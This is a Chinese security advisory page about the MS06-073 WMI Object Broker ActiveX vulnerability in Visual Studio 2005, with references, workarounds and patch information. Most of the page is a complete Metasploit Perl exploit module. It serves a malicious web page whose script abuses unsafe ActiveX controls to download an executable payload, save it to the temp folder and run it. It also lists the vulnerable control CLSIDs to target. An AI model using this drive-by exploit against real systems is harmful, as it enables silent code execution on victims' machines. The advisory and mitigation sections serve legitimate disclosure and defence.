安全研究
安全漏洞
Microsoft Visual Studio “WMI Object Broker”控件代码执行漏洞（MS06-073）
发布日期：2006-11-01
更新日期：2006-12-13
受影响系统：
Microsoft Visual Studio 2005描述：
BUGTRAQ ID: 20843
CVE(CAN) ID: CVE-2006-4704
Microsoft Visual Studio是微软公司的开发工具套件系列产品，是一个基本完整的开发工具集，包括了软件整个生命周期中所需要的大部分工具。
Visual Studio的"WMI Object Broker"控件在例程的创建和处理上存在漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意恶意代码。
Visual Studio所捆绑的WMI Object Broker ActiveX控件允许创建系统上已有的ActiveX控件例程。以这种方式创建的ActiveX对象会绕过ActiveX安全限制，如忽略kill bit和safe for scripting选项。如果用户受骗浏览了特制HTML文档的话，就可能导致以该用户的权限执行任意代码。
<*来源：H D Moore （hdm@metasploit.com）
链接：http://www.microsoft.com/technet/security/advisory/927709.mspx?pf=true
http://www.kb.cert.org/vuls/id/854856
http://secunia.com/advisories/22603/
http://www.zerodayinitiative.com/advisories/ZDI-06-047.html
http://www.microsoft.com/technet/security/bulletin/ms06-073.mspx
http://www.us-cert.gov/cas/techalerts/TA06-346A.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ie_createobject;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Internet Explorer COM CreateObject Code Execution',
'Version' => '$Rev: 4005 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a generic code execution vulnerability in Internet
Explorer by abusing vulnerable ActiveX objects.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Space' => 4000,
'Keys' => ['-bind'],
},
'Refs' =>
[
['MSB', 'MS06-014']
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ],
# Patched
[ 'MS06-014 - RDS.DataControl', '{BD96C556-65A3-11D0-983A-00C04FC29E36}'],
# Not marked as safe
[ 'UNKNOWN - RDS.DataSpace', '{BD96C556-65A3-11D0-983A-00C04FC29E36}'],
# Part of the WMI SDK, currently unpatched
[ 'UNKNOWN - WMIScriptUtils.WMIObjectBroker2.1', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}'],
# These are restricted by site (might be exploitable via DNS spoofing + SSL fun)
[ 'UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}'],
[ 'UNKNOWN - SoftwareDistribution.WebControl.1', '{6414512B-B978-451D-A0D8-FCFDF33E833C}'],
# Visual Studio components, not marked as safe
[ 'UNKNOWN - VsmIDE.DTE', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}'],
[ 'UNKNOWN - DExplore.AppObj.8.0', '{639F725F-1B2D-4831-A9FD-874847682010}'],
[ 'UNKNOWN - VisualStudio.DTE.8.0', '{BA018599-1DB3-44f9-83B4-461454C84BF8}'],
[ 'UNKNOWN - Microsoft.DbgClr.DTE.8.0', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}'],
[ 'UNKNOWN - VsaIDE.DTE', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'],
#
# The controls below can launch the "installing component" dialogs...
#
# Not marked as safe
[ 'UNKNOWN - Business Object Factory ', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}'],
# Not marked as safe
[ 'UNKNOWN - Outlook Data Object', '{0006F033-0000-0000-C000-000000000046}'],
# Found exploitable in the wild (no details)
[ 'UNKNOWN - Outlook.Application', '{0006F03A-0000-0000-C000-000000000046}'],
],
'Keys' => [ 'ie' ],
'DisclosureDate' => '',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
my $shellcode = my $shellcode = $self->GetVar('EncodedPayload')->Payload;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
# Read the HTTP headers
my $headers;
while ( (my $line = $fd->RecvLine(10))) {
$headers .= $line;
last if $line eq "\r\n";
}
if ($url =~ /\?payload/) {
$self->PrintLine("[*] HTTP Client $rhost:$rport asked for payload...");
my $content = Pex::Utils::CreateWin32PE($shellcode, 'ie_createobject');
$fd->Send($self->BuildResponse($content, 'application/octet-stream'));
$fd->Close;
return;
}
$self->PrintLine("[*] HTTP Client $rhost:$rport asked for exploit page...");
$fd->Send($self->BuildResponse($self->GenerateHTML(), 'text/html'));
$fd->Close;
return;
}
sub GenerateHTML {
my $self = shift;
my $target_idx = $self->GetVar('TARGET');
my $objects = "";
if ($target_idx == 0) {
foreach my $target (@{ $self->Targets }) {
if ($target->[1]) {
$objects .= "'".$target->[1]."',";
}
}
} else {
my $target = $self->Targets->[$target_idx];
$objects .= "'".$target->[1]."',";
}
my $data =
qq#
<html><head><title></title>
<script language="javascript">
function Log(m) {
var log = document.createElement('p');
log.innerHTML = m;
document.body.appendChild(log);
}
function CreateO(o, n) {
var r = null;
try { eval('r = o.CreateObject(n)') }catch(e){}
if (! r) {
try { eval('r = o.CreateObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.CreateObject(n, "", "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject("", n)') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n)') }catch(e){}
}
return(r);
}
function Go(a) {
Log('Creating helper objects...');
var s = CreateO(a, "WScript.Shell");
var o = CreateO(a, "ADODB.Stream");
var e = s.Environment("Process");
Log('Ceating the XMLHTTP object...');
var url = document.location + '?payload';
var xml = null;
var bin = e.Item("TEMP") + "metasploit.exe";
var dat;
try { xml=new XMLHttpRequest(); }
catch(e) {
try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xml) return(0);
Log('Downloading the payload...');
xml.open("GET", url, false)
xml.send(null);
dat = xml.responseBody;
Log('Writing the payload to disk...');
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
Log('Executing the payload...');
s.Run(bin,0);
}
function Exploit() {
var i = 0;
var t = new Array(${objects}null);
while (t[i]) {
var a = null;
if (t[i].substring(0,1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
} else {
try { a = new ActiveXObject(t[i]); } catch(e){}
}
if (a) {
try {
var b = CreateO(a, "WScript.Shell");
if (b) {
Log('Loaded ' + t[i]);
Go(a);
return(0);
}
} catch(e){}
}
i++;
}
Log('Exploit failed.');
}
</script>
</head>
<body onload='Exploit()'>
<p>Initializing...</p>
</body>
</html>
#;
}
sub BuildResponse {
my ($self, $content, $type) = @_;
$type ||= 'text/plain';
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: $type\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
建议：
临时解决方法：
* 禁止在Internet Explorer中运行WMI Scripting控件；
* 配置Internet Explorer在运行活动脚本和ActiveX控件前提示，或禁止在Internet和本地intranet区中运行活动脚本和ActiveX控件；
将如下内容保存为 .reg 文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}]
"Compatibility Flags"=dword:00000400
双击生成的 .reg 文件应用到系统。
* 将Internet和本地intranet区设置为“高”。
厂商补丁：
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS06-073）以及相应补丁:
MS06-073：Microsoft Security Bulletin MS06-073
链接：http://www.microsoft.com/technet/security/bulletin/ms06-073.mspx
浏览次数：3995
严重程度：0（网友投票）
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